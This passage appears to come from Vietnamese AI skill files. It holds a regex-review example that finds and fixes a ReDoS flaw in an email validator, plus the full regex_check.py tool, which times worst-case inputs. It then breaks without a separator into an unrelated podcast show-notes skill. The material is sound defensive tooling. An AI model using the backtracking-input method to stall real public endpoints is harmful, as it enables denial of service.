s, n=24: 0.8419 s, n=28: timeout -> TIMEOUT at length 29: exponential backtracking confirmed WARN range-A-z [A-z] also matches [ \ ] ^ _ and the backtick; use [A-Za-z] WARN unescaped-dot '.' before 'com' matches any char (so a '-' or 'x' passes there too); write \. for a literal dot INFO dollar-newline $ also matches before a trailing newline ... Summary: HIGH 1 WARN 2 INFO 1 | expectations 4/8 pass | 1 sample(s) timed out ``` ## Bản đánh giá (mẫu đã điền, rút gọn) **Trình kiểm tra (Checker):** Trước khi sửa có HIGH 1 / WARN 2 / INFO 1; đạt 4/8 kỳ vọng (một mẫu bị timeout). Sau khi sửa: HIGH 0 / WARN 0, đạt 8/8 kỳ vọng. Giải thích hoạt động của mẫu gốc: bắt đầu chuỗi; một hoặc nhiều chuỗi chữ cái hoặc chữ số, mỗi chuỗi tùy chọn theo sau bởi một dấu chấm; ký tự `@`; một hoặc nhiều ký tự từ A đến z (bao gồm cả `[ \ ] ^ _` và dấu huyền backtick); bất kỳ một ký tự đơn lẻ nào; cụm chữ `com`; kết thúc chuỗi hoặc ngay trước ký tự xuống dòng cuối cùng. | # | Đầu vào | Kỳ vọng | Trước khi sửa | Sau khi sửa | Ghi chú | |---|---|---|---|---|---| | 1 | ann@example.com | khớp | khớp | khớp | | | 2 | first.last@mail.example.co | khớp | không khớp | khớp | mẫu cũ chỉ cho phép `.com` và một nhãn tên miền duy nhất | | 3 | bob@@example.com | không khớp | không khớp | không khớp | | | 4 | no-at-sign.example.com | không khớp | không khớp | không khớp | | | 5 | trailing-dot@example. | không khớp | không khớp | không khớp | | | 6 | ann@example-com | không khớp | khớp | không khớp | bổ sung: dấu chấm chưa thoát ký tự đã chấp nhận cả dấu `-` | | 7 | ann@exa_mple.com | không khớp | khớp | không khớp | bổ sung: `[A-z]` đã chấp nhận cả dấu `_` | | 8 | 30 chữ "a" theo sau bởi "!" | không khớp, chạy nhanh | quá thời gian chờ sau 2 giây | không khớp, tức thì | bổ sung: tái hiện lỗi treo máy trên production | Các rủi ro: nhóm `([a-zA-Z0-9]+\.?)+` cho phép một chuỗi các chữ cái bị chia cắt theo 2^n cách khi thiếu ký tự `@`, khiến một chuỗi rác dài 29 ký tự từ bot làm nghẽn cứng một tiến trình xử lý (worker) suốt hơn 2 giây; đây là lỗ hổng ReDoS trên một endpoint công khai. Mẫu đã hiệu chỉnh: ```python EMAIL = re.compile(r""" [A-Za-z0-9._%+-]+ # local part: one run, dots allowed but not repeated in a nested group @ (?:[A-Za-z0-9-]+\.)+ # one or more domain labels, each ending in a literal dot [A-Za-z]{2,} # top-level domain """, re.VERBOSE | re.ASCII) def looks_like_email(value: str) -> bool: return len(value) <= 254 and EMAIL.fullmatch(value) is not None ``` Lý do cho từng thay đổi: dùng một vòng lặp phẳng duy nhất cho phần tên hộp thư (local part) giúp loại bỏ toán tử định lượng lồng nhau; `\.` biến dấu chấm thành ký tự dấu chấm nghĩa đen; `[A-Za-z]` thay thế cho `[A-z]`; chấp nhận mọi tên miền cấp cao nhất (TLD) thay vì chỉ riêng `com`; dùng `fullmatch` thay cho `^...$`; giới hạn độ dài 254 ký tự đóng vai trò lớp phòng thủ thứ hai; cờ `re.ASCII` giữ cho các lớp ký tự `[...]` hoạt động nhất quán và dễ đoán. Kiểm tra lại: chạy lệnh `python3 scripts/regex_check.py '[A-Za-z0-9._%+-]+@(?:[A-Za-z0-9-]+\.)+[A-Za-z]{2,}' --cases cases.txt --mode fullmatch --probe` báo cáo không còn rủi ro mức HIGH hay WARN nào (nhóm lồng nhau hiện chỉ được báo là INFO nested-separated, tức cấu trúc có ký tự phân cách an toàn) và đạt trọn vẹn 8/8 kỳ vọng. Giữ lại các trường hợp kiểm thử này: toàn bộ 8 dòng trong bảng trên, cộng thêm một chuỗi đầu vào dài 300 ký tự để kiểm tra giới hạn độ dài. Lưu ý rằng biểu thức chính quy chỉ kiểm tra hình dạng bề mặt của chuỗi; hãy xác nhận địa chỉ email thực sự bằng cách gửi email xác minh. FILE:scripts/regex_check.py #!/usr/bin/env python3 """Explain a Python regular expression, test it on sample inputs, and warn about risky patterns. Usage: python3 regex_check.py PATTERN [options] python3 regex_check.py PATTERN -t "text one" -t "text two" python3 regex_check.py PATTERN --cases cases.txt --mode fullmatch python3 regex_check.py PATTERN --cases - < cases.txt (read cases from stdin) Options: -t, --text TEXT a sample input (repeatable) --cases FILE one sample per line; "+ text" must match, "- text" must not match, "# ..." is a comment, other lines are shown without an expectation --mode MODE search (default), match, fullmatch, or findall --flags LETTERS any of i m s x a (IGNORECASE, MULTILINE, DOTALL, VERBOSE, ASCII) --probe time the pattern on generated worst-case inputs (subprocess, 2 s limit) --no-explain skip the token-by-token explanation --json print the result as JSON --fail-on LEVEL exit 1 if any risk is at least LEVEL: high (default), warn, info, never --timeout S stop matching one sample after S seconds and report TIMEOUT (default 2) Risks: HIGH = nested quantifiers that can backtrack exponentially; WARN = overlapping alternatives or adjacent quantifiers, [A-z], unescaped dots, empty matches; INFO = anchoring, $ versus \\Z, Unicode \\d and \\w, greedy .*, flags that look missing. Exit codes: 0 ok, 1 failed expectations or a risk at or above --fail-on, 2 usage or pattern error. Python 3 standard library only (uses the re module's own parser). """ import json import re import signal import string import subprocess import sys try: # Python 3.11+ import re._parser as sre_parse except ImportError: # pragma: no cover - older Python import sre_parse # type: ignore LEVELS = {"info": 0, "warn": 1, "high": 2} FLAG_LETTERS = {"i": re.IGNORECASE, "m": re.MULTILINE, "s": re.DOTALL, "x": re.VERBOSE, "a": re.ASCII} FLAG_NAMES = [(re.IGNORECASE, "IGNORECASE"), (re.MULTILINE, "MULTILINE"), (re.DOTALL, "DOTALL"), (re.VERBOSE, "VERBOSE"), (re.ASCII, "ASCII")] ALPHABET = string.ascii_letters + string.digits + string.punctuation + " \t\n" + "\u00e9\u0663" CATEGORY_RE = {"CATEGORY_DIGIT": r"\d", "CATEGORY_NOT_DIGIT": r"\D", "CATEGORY_SPACE": r"\s", "CATEGORY_NOT_SPACE": r"\S", "CATEGORY_WORD": r"\w", "CATEGORY_NOT_WORD": r"\W"} CATEGORY_TEXT = {"CATEGORY_DIGIT": "a digit", "CATEGORY_NOT_DIGIT": "a non-digit", "CATEGORY_SPACE": "whitespace", "CATEGORY_NOT_SPACE": "a non-whitespace char", "CATEGORY_WORD": "a word char (letter, digit, _)", "CATEGORY_NOT_WORD": "a non-word char"} AT_TEXT = {"AT_BEGINNING": "^ start of string (start of each line with MULTILINE)", "AT_BEGINNING_STRING": "\\A start of string only", "AT_END": "$ end of string or before a final newline (end of each line with MULTILINE)", "AT_END_STRING": "\\Z end of string only", "AT_BOUNDARY": "\\b word boundary", "AT_NON_BOUNDARY": "\\B not a word boundary"} MAXREPEAT = sre_parse.MAXREPEAT class UsageError(Exception): pass class MatchTimeout(Exception): pass def with_timeout(seconds, fn, *args): """Run fn with a wall-clock limit (SIGALRM on Unix; no limit elsewhere).""" if not hasattr(signal, "setitimer") or seconds <= 0: return fn(*args) def handler(_sig, _frame): raise MatchTimeout() old = signal.signal(signal.SIGALRM, handler) signal.setitimer(signal.ITIMER_REAL, seconds) try: return fn(*args) finally: signal.setitimer(signal.ITIMER_REAL, 0) signal.signal(signal.SIGALRM, old) def op_name(op): return str(op) def show_char(code): ch = chr(code) named = {"\n": "\\n", "\t": "\\t", "\r": "\\r", " ": "space"} return named.get(ch, repr(ch) if ch.isprintable() else f"U+{code:04X}") # ---------------------------------------------------------------- char sets def class_accepts(items, flags): """Set of ALPHABET chars accepted by an IN [...] item list.""" negate = bool(items) and op_name(items[0][0]) == "NEGATE" acc = set() for op, av in items: name = op_name(op) if name == "LITERAL": acc.add(chr(av)) elif name == "RANGE": acc |= {c for c in ALPHABET if av[0] <= ord(c) <= av[1]} elif name == "CATEGORY": rx = re.compile(CATEGORY_RE.get(op_name(av), "."), flags & re.ASCII) acc |= {c for c in ALPHABET if rx.match(c)} if flags & re.IGNORECASE: acc |= {c.swapcase() for c in acc} return set(ALPHABET) - acc if negate else acc def first_info(seq, flags): """Return (first_chars, can_be_empty) for a token sequence.""" first, empty = set(), True for op, av in seq: f, e = token_first(op, av, flags) first |= f if not e: empty = False break return first, empty def token_first(op, av, flags): name = op_name(op) if name == "LITERAL": c = chr(av) return ({c, c.swapcase()} if flags & re.IGNORECASE else {c}), False if name == "NOT_LITERAL": return set(ALPHABET) - {chr(av)}, False if name == "IN": return class_accepts(av, flags), False if name == "ANY": return (set(ALPHABET) if flags & re.DOTALL else set(ALPHABET) - {"\n"}), False if name in ("MAX_REPEAT", "MIN_REPEAT", "POSSESSIVE_REPEAT"): lo, _hi, sub = av f, e = first_info(sub, flags) return f, e or lo == 0 if name == "SUBPATTERN": return first_info(av[3], flags_for(av, flags)) if name == "ATOMIC_GROUP": return first_info(av, flags) if name == "BRANCH": first, empty = set(), False for b in av[1]: f, e = first_info(b, flags) first |= f empty = empty or e return first, empty if name == "GROUPREF_EXISTS": _g, yes, no = av f1, e1 = first_info(yes, flags) f2, e2 = first_info(no or [], flags) return f1 | f2, e1 or e2 if name == "GROUPREF": return set(ALPHABET), True return set(), True # AT, ASSERT, ASSERT_NOT: zero width def flags_for(av, flags): add, delete = av[1], av[2] return (flags | add) & ~delete # ---------------------------------------------------------------- explanation def quant_text(lo, hi, name): mode = {"MAX_REPEAT": "greedy", "MIN_REPEAT": "lazy", "POSSESSIVE_REPEAT": "possessive"}[name] if hi == MAXREPEAT: base = {0: "zero or more", 1: "one or more"}.get(lo, f"{lo} or more") elif lo == hi: return f"exactly {lo}" elif (lo, hi) == (0, 1): base = "optional (zero or one)" else: base = f"{lo} to {hi}" return f"{base} ({mode})" def class_text(items): negate = bool(items) and op_name(items[0][0]) == "NEGATE" parts = [] for op, av in items: name = op_name(op) if name == "LITERAL": parts.append(show_char(av)) elif name == "RANGE": parts.append(f"{show_char(av[0])}-{show_char(av[1])}") elif name == "CATEGORY": parts.append(CATEGORY_TEXT.get(op_name(av), op_name(av))) return ("any char except " if negate else "one of: ") + ", ".join(parts) def explain(seq, group_names, flags, depth=0, out=None): out = [] if out is None else out pad = " " * depth i = 0 while i < len(seq): op, av = seq[i] name = op_name(op) if name == "LITERAL": # merge runs of literals j = i while j < len(seq) and op_name(seq[j][0]) == "LITERAL": j += 1 text = "".join(chr(a) for _, a in seq[i:j]) out.append(f"{pad}the text {text!r}" if j - i > 1 else f"{pad}the char {show_char(av)}") i = j continue if name == "NOT_LITERAL": out.append(f"{pad}any char except {show_char(av)}") elif name == "IN": out.append(f"{pad}{class_text(av)}") elif name == "ANY": out.append(f"{pad}any char" + ("" if flags & re.DOTALL else " except newline")) elif name == "AT": out.append(f"{pad}{AT_TEXT.get(op_name(av), op_name(av))}") elif name in ("MAX_REPEAT", "MIN_REPEAT", "POSSESSIVE_REPEAT"): lo, hi, sub = av out.append(f"{pad}{quant_text(lo, hi, name)} of:") explain(sub, group_names, flags, depth + 1, out) elif name == "SUBPATTERN": g = av[0] if g is None: out.append(f"{pad}non-capturing group:") else: label = f' "{group_names[g]}"' if g in group_names else "" out.append(f"{pad}capturing group {g}{label}:") explain(av[3], group_names, flags_for(av, flags), depth + 1, out) elif name == "ATOMIC_GROUP": out.append(f"{pad}atomic group (no backtracking into it):") explain(av, group_names, flags, depth + 1, out) elif name == "BRANCH": out.append(f"{pad}either:") for k, b in enumerate(av[1]): out.append(f"{pad} option {k + 1}:") explain(b, group_names, flags, depth + 2, out) elif name in ("ASSERT", "ASSERT_NOT"): direction, sub = av kind = ("lookbehind" if direction < 0 else "lookahead") neg = "negative " if name == "ASSERT_NOT" else "" out.append(f"{pad}{neg}{kind} (checks without consuming):") explain(sub, group_names, flags, depth + 1, out) elif name == "GROUPREF": out.append(f"{pad}the same text as group {av} matched") elif name == "GROUPREF_EXISTS": out.append(f"{pad}if group {av[0]} matched:") explain(av[1], group_names, flags, depth + 1, out) if av[2]: out.append(f"{pad}otherwise:") explain(av[2], group_names, flags, depth + 1, out) else: out.append(f"{pad}{name}") i += 1 return out # ---------------------------------------------------------------- risk analysis def walk_repeats(seq, flags, path=""): """Yield (op, av, flags) for every repeat node, outside lookarounds too.""" for op, av in seq: name = op_name(op) if name in ("MAX_REPEAT", "MIN_REPEAT", "POSSESSIVE_REPEAT"): yield op, av, flags yield from walk_repeats(av[2], flags) elif name == "SUBPATTERN": yield from walk_repeats(av[3], flags_for(av, flags)) elif name == "ATOMIC_GROUP": yield from walk_repeats(av, flags) elif name == "BRANCH": for b in av[1]: yield from walk_repeats(b, flags) elif name in ("ASSERT", "ASSERT_NOT"): yield from walk_repeats(av[1], flags) def flatten(seq): """Expand groups so the body of a repeat can be read as one token list.""" out = [] for op, av in seq: name = op_name(op) if name == "SUBPATTERN" and av[1] == 0 and av[2] == 0: out.extend(flatten(av[3])) else: out.append((op, av)) return out def token_width(tok, parsed): return sre_parse.SubPattern(parsed.state, [tok]).getwidth() def all_chars(seq, flags): """Every ALPHABET char a token sequence can consume anywhere (not only first).""" acc = set() for op, av in seq: name = op_name(op) if name in ("LITERAL", "NOT_LITERAL", "IN", "ANY"): acc |= token_first(op, av, flags)[0] elif name in ("MAX_REPEAT", "MIN_REPEAT", "POSSESSIVE_REPEAT"): acc |= all_chars(av[2], flags) elif name == "SUBPATTERN": acc |= all_chars(av[3], flags_for(av, flags)) elif name == "ATOMIC_GROUP": acc |= all_chars(av, flags) elif name == "BRANCH": for b in av[1]: acc |= all_chars(b, flags) elif name == "GROUPREF_EXISTS": acc |= all_chars(av[1], flags) | all_chars(av[2] or [], flags) elif name == "GROUPREF": acc |= set(ALPHABET) return acc def has_unbounded(tok): op, av = tok name = op_name(op) if name in ("MAX_REPEAT", "MIN_REPEAT"): return av[1] == MAXREPEAT or has_unbounded_seq(av[2]) if name == "SUBPATTERN": return has_unbounded_seq(av[3]) if name == "BRANCH": return any(has_unbounded_seq(b) for b in av[1]) return False def has_unbounded_seq(seq): return any(has_unbounded(t) for t in seq) def sample_char(chars): for pool in (string.ascii_lowercase, string.digits, string.ascii_uppercase, ALPHABET): for c in pool: if c in chars: return c return None def analyze(parsed, flags, pattern, modes_seen): risks = [] def add(level, rule, msg, probe=None): risks.append({"level": level, "rule": rule, "message": msg, **({"probe": probe} if probe else {})}) # nested quantifiers: a repeat whose body can match the same text in more than one way for op, av, fl in walk_repeats(list(parsed), flags): if op_name(op) == "POSSESSIVE_REPEAT" or av[1] <= 1: continue body = flatten(av[2]) widths = [token_width(t, parsed) for t in body] if sum(w[0] for w in widths) == sum(w[1] for w in widths): continue # fixed-width body such as (\d{4}-)+ cannot be split two ways variable = [t for t, w in zip(body, widths) if w[0] != w[1]] fixed = [t for t, w in zip(body, widths) if w[0] == w[1] and w[0] > 0] var_chars = set().union(*(all_chars([t], fl) for t in variable)) has_inner_loop = any(has_unbounded(t) for t in variable) overlap = set().union(*(all_chars([t], fl) for t in fixed)) & var_chars if fixed else set() sample = sample_char(overlap) or sample_char(var_chars) if not fixed and has_inner_loop: add("high", "nested-quantifier", "a quantifier sits inside another quantifier and nothing else in the outer repeat is " "required (the classic (a+)+ or (\\w+\\s?)+ shape), so one string can be split in " "exponentially many ways; rewrite as a single repeat, make the separator required, or use an " "atomic group or possessive quantifier (Python 3.11+)", probe=sample) elif any(not (all_chars([t], fl) & var_chars) for t in fixed): if has_inner_loop: add("info", "nested-separated", "nested quantifier with a required separator that the inner repeat cannot match " "(like ([\\w-]+\\.)+); this shape is safe") elif all(all_chars([t], fl) <= var_chars for t in fixed): add("high", "ambiguous-repeat", "the body of a repeat has variable length and every required part can also be eaten by " "the variable part (for example (x+x+)+, (aa|a)+, or (\\w+|\\d+)+), so the iterations " "can be split in exponentially many ways; merge the parts into one class or make each " "iteration start with a char the rest cannot match", probe=sample) else: add("warn", "nested-overlap", "a repeat with a variable-length body whose separator is also accepted by the inner part " "(for example ([\\w.]+\\.)+): long non-matching input can slow down sharply; make the inner " "class exclude the separator", probe=sample) # adjacent overlapping unbounded repeats in any sequence seen_pairs = set() def single_char_repeat(op, av): return (op_name(op) in ("MAX_REPEAT", "MIN_REPEAT") and av[1] == MAXREPEAT and len(av[2]) == 1 and op_name(av[2][0][0]) in ("LITERAL", "NOT_LITERAL", "IN", "ANY")) def scan_adjacent(seq, fl): toks = [t for t in flatten(seq) if op_name(t[0]) not in ("AT", "ASSERT", "ASSERT_NOT")] for (a_op, a_av), (b_op, b_av) in zip(toks, toks[1:]): if single_char_repeat(a_op, a_av) and single_char_repeat(b_op, b_av): if (id(a_av), id(b_av)) in seen_pairs: continue seen_pairs.add((id(a_av), id(b_av))) fa, _ = first_info(a_av[2], fl) fb, _ = first_info(b_av[2], fl) if fa & fb: add("warn", "adjacent-overlap", "two unbounded quantifiers in a row accept the same chars (for example \\d+\\d+ or " ".*.*), so the split between them is ambiguous and failures backtrack polynomially; " "keep one of them") for op, av in seq: name = op_name(op) if name == "SUBPATTERN": scan_adjacent(av[3], flags_for(av, fl)) elif name in ("MAX_REPEAT", "MIN_REPEAT", "POSSESSIVE_REPEAT"): scan_adjacent(av[2], fl) elif name == "BRANCH": for b in av[1]: scan_adjacent(b, fl) scan_adjacent(list(parsed), flags) # text-level checks if re.search(r"\[[^\]]*A-z", pattern): add("warn", "range-A-z", "[A-z] also matches [ \\ ] ^ _ and the backtick; use [A-Za-z]") seq = list(parsed) flat = flatten(seq) for k, (op, _av) in enumerate(flat): if op_name(op) != "ANY": continue before = flat[k - 1] if k else None after = [chr(a) for o, a in flat[k + 1:k + 4] if op_name(o) == "LITERAL"] lit_before = before is not None and op_name(before[0]) == "LITERAL" and chr(before[1]).isalnum() word_after = len(after) >= 2 and all(c.isalpha() for c in after[:2]) if (lit_before and after and after[0].isalnum()) or word_after: add("warn", "unescaped-dot", f"'.' before {''.join(after) or 'the next token'!r} matches any char (so a '-' or 'x' passes there too); " "write \\. for a literal dot") break try: if re.compile(pattern, flags).fullmatch(""): add("warn", "matches-empty", "the pattern matches the empty string, so findall/finditer return empty matches and " "validation accepts blank input; require at least one char where it matters") except re.error: pass count_dotstar = len(re.findall(r"(?<!\\)\.\*", pattern)) if count_dotstar >= 3: add("info", "many-dotstar", f"{count_dotstar} '.*' in one pattern: failures are slow on long lines; " "use negated classes like [^,]* to describe each field") elif count_dotstar and not re.search(r"\.\*\?", pattern): add("info", "greedy-dotstar", "greedy .* grabs as much as possible and then backs off; use .*? or a " "negated class such as [^\"]* when you mean 'up to the next ...'") first_ops = [op_name(op) for op, _ in seq[:1]] last = seq[-1] if seq else None anchored_start = first_ops == ["AT"] anchored_end = last is not None and op_name(last[0]) == "AT" and op_name(last[1]) in ("AT_END", "AT_END_STRING") if "fullmatch" not in modes_seen and not (anchored_start and anchored_end) and modes_seen != {"findall"}: add("info", "not-anchored", "for validation, anchor both ends (\\A ... \\Z) or use re.fullmatch; " "otherwise 'abc123xyz' passes a search for \\d+") if anchored_end and op_name(last[1]) == "AT_END" and not flags & re.MULTILINE and "fullmatch" not in modes_seen: add("info", "dollar-newline", "$ also matches before a trailing newline ('abc\\n' passes ^abc$); " "use \\Z or fullmatch for strict validation") if re.search(r"(?<!\\)\\[dw]", pattern) and not flags & re.ASCII: add("info", "unicode-classes", "\\d and \\w match Unicode digits and letters too (for example " "Arabic-Indic digits); add re.ASCII or use [0-9] / [A-Za-z0-9_] for strict input formats") return risks # ---------------------------------------------------------------- probe PROBE_CODE = r""" import re, sys, time pat, flags, s = sys.argv[1], int(sys.argv[2]), sys.argv[3] rx = re.compile(pat, flags) t = time.perf_counter(); rx.search(s); print(f"{time.perf_counter() - t:.6f}") """ def run_probe(pattern, flags, ch, compiled): tail = next((t for t in "!#\x00~ \n" if not compiled.search(ch * 3 + t)), "!") results, verdict = [], "no slowdown seen" for n in (12, 16, 20, 24, 28): s = ch * n + tail try: r = subprocess.run([sys.executable, "-c", PROBE_CODE, pattern, str(flags), s], capture_output=True, text=True, timeout=2) secs = float(r.stdout.strip() or "nan") except subprocess.TimeoutExpired: results.append({"n": n, "seconds": None}) verdict = f"TIMEOUT at length {n + 1}: exponential backtracking confirmed" break results.append({"n": n, "seconds": round(secs, 4)}) prev = results[-2]["seconds"] if len(results) >= 2 else None if prev and secs > 0.01 and secs / prev > 3: verdict = (f"time grows about {secs / prev:.0f}x per +4 chars: exponential backtracking confirmed") elif secs > 0.5: verdict = f"slow ({secs:.2f} s at length {n + 1}) but not clearly exponential" return {"input": f"{ch!r} * n + {tail!r}", "timings": results, "verdict": verdict} # ---------------------------------------------------------------- matching def read_cases(path): text = sys.stdin.read() if path == "-" else open(path, encoding="utf-8").read() cases = [] for raw in text.splitlines(): if not raw.strip() or raw.lstrip().startswith("#"): continue if raw.startswith("+ ") or raw.startswith("- "): cases.append({"text": raw[2:], "expect": raw[0] == "+"}) else: cases.append({"text": raw, "expect": None}) return cases def match_case(rx, text, mode): fn = {"search": rx.search, "match": rx.match, "fullmatch": rx.fullmatch}.get(mode) names = {v: k for k, v in rx.groupindex.items()} def groups(m): out = [] for g in range(1, rx.groups + 1): out.append({"group": g, "name": names.get(g), "value": m.group(g), "span": list(m.span(g)) if m.group(g) is not None else None}) return out if mode == "findall": ms = list(rx.finditer(text)) return {"matched": bool(ms), "matches": [{"text": m.group(0), "span": list(m.span()), "groups": groups(m)} for m in ms]} m = fn(text) if not m: return {"matched": False, "matches": []} return {"matched": True, "matches": [{"text": m.group(0), "span": list(m.span()), "groups": groups(m)}]} def describe_flags(flags): names = [n for f, n in FLAG_NAMES if flags & f] return ", ".join(names) if names else "none" # ---------------------------------------------------------------- main def parse_args(argv): opts = {"texts": [], "cases": None, "mode": "search", "flags": 0, "probe": False, "explain": True, "json": False, "fail_on": "high", "pattern": None, "timeout": 2.0} i = 0 while i < len(argv): a = argv[i] def val(): if i + 1 >= len(argv): raise UsageError(f"{a} needs a value") return argv[i + 1] if a in ("-t", "--text"): opts["texts"].append(val()); i += 2 elif a == "--cases": opts["cases"] = val(); i += 2 elif a == "--mode": opts["mode"] = val(); i += 2 if opts["mode"] not in ("search", "match", "fullmatch", "findall"): raise UsageError("--mode must be search, match, fullmatch, or findall") elif a == "--flags": letters = val(); i += 2 bad = [c for c in letters.lower() if c not in FLAG_LETTERS] if bad: raise UsageError(f"unknown flag letter(s) {''.join(bad)!r}; use any of i m s x a") for c in letters.lower(): opts["flags"] |= FLAG_LETTERS[c] elif a == "--fail-on": opts["fail_on"] = val().lower(); i += 2 if opts["fail_on"] not in ("high", "warn", "info", "never"): raise UsageError("--fail-on must be high, warn, info, or never") elif a == "--timeout": try: opts["timeout"] = float(val()) except ValueError: raise UsageError("--timeout needs a number of seconds, for example --timeout 2") i += 2 elif a == "--probe": opts["probe"] = True; i += 1 elif a == "--no-explain": opts["explain"] = False; i += 1 elif a == "--json": opts["json"] = True; i += 1 elif a in ("-h", "--help"): print(__doc__); sys.exit(0) elif a.startswith("--") and opts["pattern"] is not None: raise UsageError(f"unknown option {a}") elif opts["pattern"] is None: opts["pattern"] = a; i += 1 else: raise UsageError(f"unexpected argument {a!r} (quote the pattern; use -t for sample inputs)") if opts["pattern"] is None: raise UsageError("give a PATTERN (quote it in single quotes in the shell)") return opts def main(argv): try: opts = parse_args(argv) cases = [{"text": t, "expect": None} for t in opts["texts"]] if opts["cases"]: try: cases += read_cases(opts["cases"]) except OSError as e: raise UsageError(f"cannot read cases file: {e.strerror}: {opts['cases']}") except UsageError as e: print(f"error: {e}", file=sys.stderr) return 2 pattern, flags, mode = opts["pattern"], opts["flags"], opts["mode"] try: rx = re.compile(pattern, flags) parsed = sre_parse.parse(pattern, flags) except re.error as e: pos = f" at position {e.pos}" if e.pos is not None else "" print(f"error: pattern does not compile: {e.msg}{pos}", file=sys.stderr) if e.pos is not None: print(f" {pattern}\n {' ' * e.pos}^", file=sys.stderr) return 2 flags = int(rx.flags) & ~int(re.UNICODE) names = {v: k for k, v in rx.groupindex.items()} risks = analyze(parsed, flags, pattern, {mode}) if opts["probe"]: for r in risks: if r.get("probe"): r["probe_result"] = run_probe(pattern, flags, r["probe"], rx) results = [] for c in cases: try: res = with_timeout(opts["timeout"], match_case, rx, c["text"], mode) status = None if c["expect"] is None else ("PASS" if res["matched"] == c["expect"] else "FAIL") except MatchTimeout: res, status = {"matched": None, "matches": []}, "TIMEOUT" results.append({**c, **res, "status": status}) fails = sum(1 for r in results if r["status"] in ("FAIL", "TIMEOUT")) counts = {lvl: sum(1 for r in risks if r["level"] == lvl) for lvl in ("high", "warn", "info")} report = {"pattern": pattern, "flags": describe_flags(flags), "mode": mode, "groups": rx.groups, "group_names": {str(k): v for k, v in names.items()}, "explanation": explain(list(parsed), names, flags) if opts["explain"] else [], "cases": results, "failed_expectations": fails, "risks": risks, "risk_counts": counts} threshold = LEVELS.get(opts["fail_on"], 99) risky = any(LEVELS[r["level"]] >= threshold for r in risks) if opts["json"]: print(json.dumps(report, indent=2, ensure_ascii=False)) return 1 if fails or risky else 0 print(f"Pattern: {pattern}") named = ", ".join(f'{g} "{n}"' for g, n in sorted(names.items())) print(f"Flags: {describe_flags(flags)} | mode: {mode} | groups: {rx.groups}" + (f" ({named})" if named else "")) if opts["explain"]: print("\nExplanation:") for line in report["explanation"]: print(" " + line) if results: print(f"\nSamples ({mode}):") for r in results: mark = {True: "+", False: "-", None: " "}[r["expect"]] tag = r["status"] or ("match" if r["matched"] else "no match") line = f" {tag:<8} {mark} {r['text']!r}" if r["matched"]: parts = [] for m in r["matches"][:5]: g = " ".join(f"{x['name'] or x['group']}={x['value']!r}" for x in m["groups"]) parts.append(f"[{m['span'][0]}:{m['span'][1]}] {m['text']!r}" + (f" {g}" if g else "")) more = f" (+{len(r['matches']) - 5} more)" if len(r["matches"]) > 5 else "" line += " -> " + "; ".join(parts) + more elif r["status"] == "TIMEOUT": line += f" -> still running after {opts['timeout']:g} s (catastrophic backtracking)" elif r["status"] == "FAIL": line += " -> expected a match" if r["status"] == "FAIL" and r["matched"]: line += " (expected no match)" print(line) print("\nRisks and suggestions:") if not risks: print(" none found") for r in risks: print(f" {r['level'].upper():<4} {r['rule']:<23} {r['message']}") pr = r.get("probe_result") if pr: times = ", ".join(f"n={t['n']}: {'timeout' if t['seconds'] is None else str(t['seconds']) + ' s'}" for t in pr["timings"]) print(f" probe {pr['input']}: {times} -> {pr['verdict']}") summary = f"\nSummary: HIGH {counts['high']} WARN {counts['warn']} INFO {counts['info']}" if any(r["expect"] is not None for r in results): n = sum(1 for r in results if r["expect"] is not None) summary += f" | expectations {n - fails}/{n} pass" timeouts = sum(1 for r in results if r["status"] == "TIMEOUT") if timeouts: summary += f" | {timeouts} sample(s) timed out" print(summary) return 1 if fails or risky else 0 if __name__ == "__main__": sys.exit(main(sys.argv[1:]))
Biến bản gỡ băng (transcript) podcast thô, các mốc thời gian (timestamps) và ghi chú về khách mời thành bản ghi chú tập (show notes) hoàn chỉnh sẵn sàng xuất bản: tiêu đề tập, tóm tắt chuẩn SEO, các ý chính đắt giá, mốc phân đoạn (chapter markers) cho YouTube, Spotify và Podcasting 2.0, các câu trích dẫn ấn tượng kèm mốc thời gian, tiểu sử khách mời, danh sách liên kết và các bài đăng mạng xã hội. Sử dụng khi người dùng chia sẻ bản gỡ băng và yêu cầu "viết show notes giúp tôi", "tạo phân đoạn chương cho tập này" hoặc "trích xuất câu nói hay từ buổi phỏng vấn này". Đi kèm công cụ tìm chương bằng thư viện chuẩn Python đã được kiểm thử.
---
name: podcast-show-notes-structurer
description: Biến bản gỡ băng (transcript) podcast thô, các mốc thời gian (timestamps) và ghi chú về khách mời thành bản ghi chú tập (show notes) hoàn chỉnh sẵn sàng xuất bản: tiêu đề tập, tóm tắt chuẩn SEO, các ý chính đắt giá, mốc phân đoạn (chapter markers) cho YouTube, Spotify và Podcasting 2.0, các câu trích dẫn ấn tượng kèm mốc thời gian, tiểu sử khách mời, danh sách liên kết và các bài đăng mạng xã hội. Sử dụng khi người dùng chia sẻ bản gỡ băng và yêu cầu "viết show notes giúp tôi", "tạo phân đoạn chương cho tập này" hoặc "trích xuất câu nói hay từ buổi phỏng vấn này". Đi kèm công cụ tìm chương bằng thư viện chuẩn Python đã được kiểm thử.
---
# Trình Cấu trúc Ghi chú Tập Podcast (Show Notes)
Bạn giúp các nhà sản xuất podcast biến một bản gỡ băng lộn xộn thành bản ghi chú tập (show notes) mà người nghe thực sự muốn đọc và các công cụ tìm kiếm có thể dễ dàng tìm thấy. Bạn tìm ra cấu trúc thực sự của cuộc trò chuyện, đặt tên các phân đoạn (chapters) theo đúng cách một người nghe sẽ mô tả chúng, chọn lọc những câu trích dẫn đứng độc lập ngoài ngữ cảnh vẫn trọn vẹn ý nghĩa, và viết phần tóm tắt chỉ trong hai dòng giúp người đọc hiểu ngay tại sao tập podcast này xứng đáng với thời gian của họ. Bạn tuyệt đối không bao giờ tự bịa ra dữ kiện, đường dẫn liên kết hay câu trích dẫn không có trong tài liệu gốc.
## Các tệp trong kỹ năng này
- `scripts/chapterize.py` - đọc các bản gỡ băng có mốc thời gian, định dạng WebVTT, có tiêu đề hoặc văn bản thuần túy, đề xuất điểm bắt đầu của từng chương dựa trên tiêu đề, dấu hiệu nghỉ, các cụm từ chuyển ý ("let's talk about", "after the break") và sự chuyển dịch từ vựng, phác thảo tiêu đề từ khóa, liệt kê các điểm đánh dấu quảng cáo và âm nhạc, đồng thời xếp hạng các câu trích dẫn tiềm năng (chỉ sử dụng thư viện chuẩn Python 3)
- `references/show-notes-structure.md` - nội dung cần có trong từng phần, giới hạn độ dài, cùng cách viết tiêu đề, tóm tắt và các ý chính (key takeaways)
